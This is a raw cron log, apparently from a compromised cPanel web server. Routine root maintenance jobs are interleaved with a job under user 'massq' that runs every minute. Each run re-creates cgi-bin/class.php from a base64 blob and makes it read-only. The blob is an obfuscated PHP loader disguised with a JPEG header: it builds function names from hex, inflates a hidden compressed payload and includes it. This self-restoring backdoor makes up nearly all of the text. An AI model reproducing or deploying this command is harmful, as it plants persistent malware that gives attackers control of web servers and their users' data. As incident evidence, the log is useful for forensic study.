Nov 13 12:08:01 server CROND[20639]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:09:01 server CROND[21498]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 12:09:01 server CROND[21499]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:10:01 server CROND[22411]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 12:10:01 server CROND[22414]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 12:10:01 server CROND[22416]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:10:01 server CROND[22415]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 12:11:01 server CROND[23356]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:12:01 server CROND[24207]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:12:01 server CROND[24208]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 12:13:01 server CROND[25102]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:14:01 server CROND[26066]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:15:01 server CROND[26989]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 12:15:01 server CROND[26990]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 12:15:01 server CROND[26991]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 13 12:15:01 server CROND[26992]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 13 12:15:01 server CROND[26993]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:16:01 server CROND[27465]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:17:01 server CROND[28118]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:18:01 server CROND[28971]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:19:01 server CROND[29867]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:20:01 server CROND[30720]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 12:20:01 server CROND[30721]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 12:20:01 server CROND[30722]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 12:20:01 server CROND[30724]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 12:20:01 server CROND[30723]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
